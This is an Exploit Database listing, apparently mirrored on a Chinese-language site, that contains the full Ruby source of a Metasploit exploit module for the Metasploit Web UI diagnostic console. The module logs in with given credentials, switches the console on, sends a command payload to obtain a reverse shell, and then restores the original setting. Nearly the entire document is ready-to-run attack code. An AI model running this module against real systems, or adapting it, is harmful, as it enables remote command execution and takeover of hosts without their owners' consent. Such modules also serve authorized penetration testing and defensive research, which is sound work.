Metasploit Web UI – Diagnostic Console Command Execution (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2016-09-22
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/40415/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Metasploit Web UI Diagnostic Console Command Execution',
  'Description' => %q{
  This module exploits the "diagnostic console" feature in the Metasploit
  Web UI to obtain a reverse shell.
  
  The diagnostic console is able to be enabled or disabled by an
  administrator on Metasploit Pro and by an authenticated user on
  Metasploit Express and Metasploit Community. When enabled, the
  diagnostic console provides access to msfconsole via the web interface.
  An authenticated user can then use the console to execute shell
  commands.
  
  NOTE: Valid credentials are required for this module.
  
  Tested against:
  
  Metasploit Community 4.1.0,
  Metasploit Community 4.8.2,
  Metasploit Community 4.12.0
  },
  'Author'=> [ 'Justin Steven' ],# @justinsteven
  'License' => MSF_LICENSE,
  'Privileged'=> true,
  'Arch'=> ARCH_CMD,
  'Payload' => { 'PayloadType'=> 'cmd' },
  'Targets' =>
  [
  [ 'Unix',
  {
  'Platform' => [ 'unix' ]
  }
  ],
  [ 'Windows',
  {
  'Platform' => [ 'windows' ]
  }
  ]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate'=> 'Aug 23 2016'
  ))
  
  register_options(
  [
  OptBool.new('SSL', [ true, 'Use SSL', true ]),
  OptPort.new('RPORT', [ true, '', 3790 ]),
  OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
  OptString.new('USERNAME', [ true,'The user to authenticate as' ]),
  OptString.new('PASSWORD', [ true,'The password to authenticate with' ])
  ], self.class)
  end
  
  def do_login()
  
  print_status('Obtaining cookies and authenticity_token')
  
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'login'),
  })
  
  unless res
  fail_with(Failure::NotFound, 'Failed to retrieve login page')
  end
  
  unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
  fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
  end
  
  authenticity_token = $1
  session = res.get_cookies
  
  print_status('Logging in')
  
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'user_sessions'),
  'cookie'=> session,
  'vars_post' =>
  {
  'utf8'=> '\xE2\x9C\x93',
  'authenticity_token'=> authenticity_token,
  'user_session[username]'=> datastore['USERNAME'],
  'user_session[password]'=> datastore['PASSWORD'],
  'commit'=> 'Sign in'
  }
  })
  
  unless res
  fail_with(Failure::NotFound, 'Failed to log in')
  end
  
  return res.get_cookies, authenticity_token
  
  end
  
  def get_console_status(session)
  
  print_status('Getting diagnostic console status and profile_id')
  
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'settings'),
  'cookie'=> session,
  })
  
  unless res
  fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
  end
  
  unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
  fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
  end
  
  profile_id = $1
  
  if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
  console_status = true
  elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
  console_status = false
  else
  fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
  end
  
  print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
  
  return console_status, profile_id
  
  end
  
  def set_console_status(session, authenticity_token, profile_id, new_console_status)
  print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
  
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
  'cookie'=> session,
  'vars_post' =>
  {
  'utf8'=> '\xE2\x9C\x93',
  '_method' => 'patch',
  'authenticity_token'=> authenticity_token,
  'profile_id'=> profile_id,
  'allow_console_access'=> new_console_status,
  'commit'=> 'Update Settings'
  }
  })
  
  unless res
  fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
  end
  
  end
  
  def get_container_id(session, container_label)
  
  container_label_singular = container_label.gsub(/s$/, "")
  
  print_status("Getting ID of a valid #{container_label_singular}")
  
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, container_label),
  'cookie'=> session,
  })
  
  unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
  print_warning("Failed to get a valid #{container_label_singular} ID")
  return
  end
  
  container_id = $1
  
  vprint_good("Got: #{container_id}")
  
  container_id
  
  end
  
  def get_console(session, container_label, container_id)
  
  print_status('Creating a console, getting its ID and authenticity_token')
  
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
  'cookie'=> session,
  })
  
  unless res && res.headers['location']
  fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
  end
  
  console_id = res.headers['location'].split('/')[-1]
  
  vprint_good("Got console ID: #{console_id}")
  
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
  'cookie'=> session,
  })
  
  unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
  fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
  end
  
  console_authenticity_token = $1
  
  return console_id, console_authenticity_token
  
  end
  
  def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
  
  print_status('Running payload')
  
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
  'cookie'=> session,
  'vars_post' =>
  {
  'read'=> 'yes',
  'cmd' => command,
  'authenticity_token'=> console_authenticity_token,
  'last_event'=> '0',
  '_' => ''
  }
  })
  
  unless res
  fail_with(Failure::NotFound, 'Failed to run command')
  end
  
  end
  
  def exploit
  
  session, authenticity_token = do_login()
  
  original_console_status, profile_id = get_console_status(session)
  
  unless original_console_status
  set_console_status(session, authenticity_token, profile_id, true)
  end
  
  if container_id = get_container_id(session, "workspaces")
  # target calls them "workspaces"
  container_label = "workspaces"
  elsif container_id = get_container_id(session, "projects")
  # target calls them "projects"
  container_label = "projects"
  else
  fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
  end
  
  console_id, console_authenticity_token = get_console(session, container_label,container_id)
  
  run_command(session, container_label, console_authenticity_token,
  container_id, console_id, payload.encoded)
  
  unless original_console_status
  set_console_status(session, authenticity_token, profile_id, false)
  end
  
  handler
  
  end
  
  end